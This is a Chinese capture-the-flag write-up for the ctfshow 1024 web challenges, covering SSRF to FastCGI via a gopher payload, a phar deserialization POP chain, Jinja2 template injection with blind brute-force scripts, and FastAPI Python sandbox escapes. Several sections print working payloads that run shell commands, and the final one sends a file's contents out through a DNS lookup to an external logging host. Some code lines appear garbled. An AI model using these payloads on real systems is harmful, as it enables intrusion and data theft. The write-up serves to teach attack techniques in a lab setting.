

# 1024\_WEB签到

直接执行phpinfo函数,在里面发现了这个配置

ctfshow	
function:ctfshow 1024 support	enabled

然后直接调用这个函数

?f=ctfshow\_1024 获得flag

## 1024\_图片代理

考察: ssrf攻击fastcgi

[https://mp.weixin.qq.com/s?\\_\\_biz=MzUzNTkyODI0OA==&mid=2247497361&idx=1&sn=7fa1924906306c074a2adb1e600bfa49](https://mp.weixin.qq.com/s?__biz=MzUzNTkyODI0OA==&mid=2247497361&idx=1&sn=7fa1924906306c074a2adb1e600bfa49)

<https://www.smi1e.top/gopher-ssrf%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91%E5%BA%94%E7%94%A8%E5%A4%8D%E7%8E%B0/>

file:///etc/nginx/nginx.conf

查看配置文件

默认的server配置:/etc/nginx/conf.d/default.conf

```
1  server {
2      listen 80 default_server;
3      listen [::]:80 default_server;
4      root    /var/www/bushihtml;
5      index   index.php index.html;
6
7      proxy_set_header Host $host;
8      proxy_set_header X-Real-IP $remote_addr;
9      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
10
11     location / {
12         try_files $uri $uri/ /index.php?$args;
13     }
14
15     location ~ \.php$ {
16         try_files $uri =404;
17         fastcgi_pass 127.0.0.1:9000;
18         fastcgi_index index.php;
19         include fastcgi_params;
20         fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
21     }
22
23     location = /404.html {
24         internal;
25     }
26 }
27
```

```
1 file:///etc/nginx/conf.d/default.conf
2 /var/www/bushihtml/index.php 默认页面
```

```
1 #index.php
2 <?php
3 if(isset($_GET["picurl"])){
4     $ch = curl_init(explode("&",base64_decode($_GET["picurl"]))[0]);
5     curl_setopt($ch, CURLOPT_TIMEOUT,2);
6     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,2);
7     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
8     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
9     curl_setopt($ch, CURLOPT_BINARYTRANSFER, 1);
10    $data = curl_exec($ch);
11    curl_close($ch);
12    header("Content-type: image/jpeg");
13    print( $data );
14    unset($data);
15 }else{
16     header('location:index.php?
17     picurl=aHR0cDovL3AucWxvZ28uY24vZ2gvMzcyNjE5MDM4LzM3MjYxOTAzOC8w');
18 }
```

然后base64打过去就获得flag

```
root@kali: /media/root/e31a9eb8-f81c-49d0-b461-072f6bd7d8fd/dirtool/Gopherus-master# python g
opherus.py --exploit fastcgi
scripts  gopherus.py  install.sh  LICENSE

Gopherus

author: $_SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one: /var/www/bushihtml/index.php
Terminal command to run: ls /

Your gopher link is ready to do SSRF:

gopher://127.0.0.1:9000/ %01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%01%04%00%01%01%09%
01%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTO
COLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3
D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1CSCRIPT_FI
LENAME/var/www/bushihtml/index.php%0D%01DOCUMENT_ROOT/%00%01%04%00%01%00%00%00%00%01%05%00%0
1%00%04%00%03C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29
%3B%3F%3E%00%00%00%00
```

## 1024\_柏拉图

思路:

通过双写绕过读源代码 file:/file:///var/www/html/index.php

然后构造pop链, 构造phar文件上传读文件进行获得flag

```
1 <?php
```

```

2  error_reporting(0);
3  ini_set('phar.readonly','off');
4  class A {
5      public $a;
6      public function __construct($a)
7      {
8          $this->a = $a;
9      }
10     public function __destruct()
11     {
12         echo "THI IS CTFSHOW".$this->a;
13     }
14 }
15 class B {
16     public $b;
17     public function __construct($b)
18     {
19         $this->b = $b;
20     }
21     public function __toString()
22     {__toString  当一个对象被当作一个字符串被调用。
23         return ($this->b)();eval()
24     }
25 }
26 class C{
27     public $c;
28     public function __construct($c)
29     {
30         $this->c = $c;
31     }
32     public function __invoke()
33     {
34         return eval($this->c);
35     }
36 }
37 @unlink("phar1.phar");//unlink() 函数删除文件。
38 $phar = new Phar("phar.phar");
39 $phar->startBuffering();//开始缓冲Phar写操作
40 $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
41 $A = new A('');
42 $B = new B('');
43 $C = new C('system("cat /ctfshow_1024_flag.txt");');
44 $A->a=$B;
45 $B->b=$C;
46 $phar->setMetadata($A);//将自定义的meta-data存入manifest
47 $phar->addFromString("test.txt", "test");//以字符串的形式添加一个文件到phar档案添
    加要压缩的文件
48 //签名自动计算
49 $phar->stopBuffering();
50 //compress.zlib://phar://xxx
51 //compress.zlib://phar://1.gif
52 ?>

```

## 1024\_hello\_world

```
1 过滤了{{
2 通过{%if %}1{%endif%}来绕过
3 key={%if 0%}Firebasky{%endif%} 返回空
4 key={%if 1%}Firebasky{%endif%} 返回Firebasky
```

```
1 发现过滤了__和单引号
2 绕过通过16进制和双引号绕过
3 {% if ""["\x5f\x5fbase\x5f\x5f"]!=0%}Firebasky{%endif%}
4
```

在这里由于没有回显，不知道 `"". __class__. __base__. __subclasses__()` 下具体使用哪个下标，所以直接在bp里爆破

```
1 "".__class__.__base__.__subclasses__()
  [?].__init__.__globals__["__builtins__"]("__import__")("os")
2
3 key={%if ""["\x5f\x5fclass\x5f\x5f"] ["\x5f\x5fbase\x5f\x5f"]
  ["\x5f\x5fsubclasses\x5f\x5f"] () [64] ["\x5f\x5finit\x5f\x5f"]
  ["\x5f\x5fglobals\x5f\x5f"] ["\x5f\x5fbuiltins\x5f\x5f"]
  ["\x5f\x5fimport\x5f\x5f"] ("os") !=1%}Firebasky{%endif%}
```

```
1 构造exp
2
3 key={%if ""["\x5f\x5fclass\x5f\x5f"] ["\x5f\x5fbase\x5f\x5f"]
  ["\x5f\x5fsubclasses\x5f\x5f"] () [64] ["\x5f\x5finit\x5f\x5f"]
  ["\x5f\x5fglobals\x5f\x5f"] ["\x5f\x5fbuiltins\x5f\x5f"]
  ["\x5f\x5fimport\x5f\x5f"] ("os") ["\x5f\x5fdict\x5f\x5f"] ["popen"] ("ls /")
  ["read"] () [0] == "a"%}Firebasky{%endif%}
```

```
1 import requests
2 import string
3 strs = string.digits+string.ascii_lowercase+'-_{}'
4
5 url = 'http://e2423a5c-9a92-4370-9644-abd0e0f0b1ec.chall.ctf.show/'
6 #cmd = 'ls /'
7 cmd = 'cat /c*'
8
9 flag = ''
10 for i in range(0,50):
11     print('i =',i,end='\t')
12     for ch in strs:
13         payload = '{%if ""["\x5f\x5fclass\x5f\x5f"]
14         ["\x5f\x5fbase\x5f\x5f"] ["\x5f\x5fsubclasses\x5f\x5f"] () [64]
15         ["\x5f\x5finit\x5f\x5f"] ["\x5f\x5fglobals\x5f\x5f"]
16         ["\x5f\x5fbuiltins\x5f\x5f"] ["\x5f\x5fimport\x5f\x5f"] ("os")
17         ["\x5f\x5fdict\x5f\x5f"] ["popen"] ("'+cmd+'") ["read"] ()
18         ['+str(i)+']==' '+ch+'"%}air{%endif%}'
14         #print(payload)
15         data = {'key':payload}
16         r = requests.post(url,data)
17         #print(r.text)
18         if 'Firebasky' in r.text:
```

```

19         flag += ch
20         print('flag = '+flag)
21         break

```

方法二:

```

1  {%25 set chr=""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]
   ["\x5f\x5fsubclasses\x5f\x5f"]()[65]["\x5f\x5finit\x5f\x5f"]
   ["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["chr"] %25}{%25 if ""
   ["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]
   ["\x5f\x5fsubclasses\x5f\x5f"]()[65]["\x5f\x5finit\x5f\x5f"]
   ["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["eval"]
   ("'\x5f\x5fimport\x5f\x5f(chr(111)%2bchr(115))")
   [chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)]
   (chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(101)%2bchr(116)%2bchr
   (99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(10
   0))["read"]()[1]=="o" %25} 1{%25 endif %25}

```

```

1  {%25 set chr=""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]
   ["\x5f\x5fsubclasses\x5f\x5f"]()[65]["\x5f\x5finit\x5f\x5f"]
   ["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["chr"] %25}{%25 if
   ""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]
   ["\x5f\x5fsubclasses\x5f\x5f"]()[65]["\x5f\x5finit\x5f\x5f"]
   ["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["eval"]
   ("'\x5f\x5fimport\x5f\x5f(chr(111)%2bchr(115))")
   [chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)]
   (chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(99)%2bchr(116)%2bchr
   (102)%2bchr(115)%2bchr(104)%2bchr(111)%2bchr(119))["read"]()[1]=="f" %25}
   1{%25 endif %25}
2
3  ls /
4  chr(108)%2bchr(115)%2bchr(32)%2bchr(47)
5
6  cat /c*
7  chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(99)+chr(42)
8
9  flag{230553be-d4fe-447a-8336-c051df7e1b82}
10

```

```

1
2  # -*- coding:utf-8 -*-
3  import requests as req
4  import time
5  import string
6
7  str1 = string.digits+string.ascii_lowercase+"-+"{"+"}"
8
9  url = "http://1c314e7b-76fe-4776-a878-31bdf51489e.chall.ctf.show"
10
11  flag = ''
12  for i in range(0,30):
13      for j in str1:
14          time.sleep(0.08)

```

```

15     payload=''{% set chr="["\\x5f\\x5fclass\\x5f\\x5f"]
    ["\\x5f\\x5fbase\\x5f\\x5f"] ["\\x5f\\x5fsubclasses\\x5f\\x5f"] () [65]
    ["\\x5f\\x5finit\\x5f\\x5f"] ["\\x5f\\x5fglobals\\x5f\\x5f"]
    ["\\x5f\\x5fbuiltins\\x5f\\x5f"] ["chr"] %}{% if ""
    ["\\x5f\\x5fclass\\x5f\\x5f"] ["\\x5f\\x5fbase\\x5f\\x5f"]
    ["\\x5f\\x5fsubclasses\\x5f\\x5f"] () [65] ["\\x5f\\x5finit\\x5f\\x5f"]
    ["\\x5f\\x5fglobals\\x5f\\x5f"] ["\\x5f\\x5fbuiltins\\x5f\\x5f"] ["eval"]
    ("\\x5f\\x5fimport\\x5f\\x5f(chr(111)+chr(115)))")
    [chr(112)+chr(111)+chr(112)+chr(101)+chr(110)]
    (chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(99)+chr(42)) ["read"] ()
    [''+str(i)+'']= '''+j+'''' {% nice{% endif %}''
16     r = req.post(url,data={"key":payload})
17     if "nice" in r.text:
18         flag+=j
19         print(flag)
20

```

## 1024\_fastapi

fastapi 学习

- 1 FastAPI 是一个高性能 web 框架，用于构建 API。
- 2
- 3 主要特性：
- 4 快速：非常高的性能，与 NodeJS 和 Go 相当
- 5 快速编码：将功能开发速度提高约 200% 至 300%
- 6 更少的错误：减少约 40% 的人为错误
- 7 直观：强大的编辑器支持，自动补全无处不在，调试时间更少
- 8 简易：旨在易于使用和学习，减少阅读文档的时间。
- 9 简短：减少代码重复。
- 10 稳健：获取可用于生产环境的代码，具有自动交互式文档
- 11 基于标准：基于并完全兼容 API 的开放标准 OpenAPI 和 JSON Schema

存在交互文档/docs

存在api文档/redoc

存在/ccca1ccc页面

```

1  #正常回显
2  q=str([].__class__.__base__.__subclasses__([189].__init__.__globals__[ '__builtins__'])
3  #回显{"res":"hack out!","err":false}, 说明import被过滤, 利用dict拼接一下即可
4  q=str([].__class__.__base__.__subclasses__([189].__init__.__globals__[ '__builtins__'] ['__import__']))
5  q=str([].__class__.__base__.__subclasses__([189].__init__.__globals__[ '__builtins__'] ['__imp__'+ 'ort__']))
6  #popen被过滤, 也使用拼接绕过。得到回显{"res":"main.py\nstart.sh\n","err":false}
7  q=str([].__class__.__base__.__subclasses__([189].__init__.__globals__[ '__builtins__'] ['__imp__'+ 'ort__']
8  ('os').__dict__[ 'pop__'+ 'en'] ('ls').read())
9
9  q=str([].__class__.__base__.__subclasses__([189].__init__.__globals__[ '__builtins__'] ['__imp__'+ 'ort__']
10 ('os').__dict__[ 'pop__'+ 'en'] ('cat /mnt/f1a9').read())

```

```

1  q=__builtins__.__dict__[ '__imp__'+ 'ort__'] ('os').system("ping `cat /mnt/f1a9`.oq44ce.dnslog.cn")

```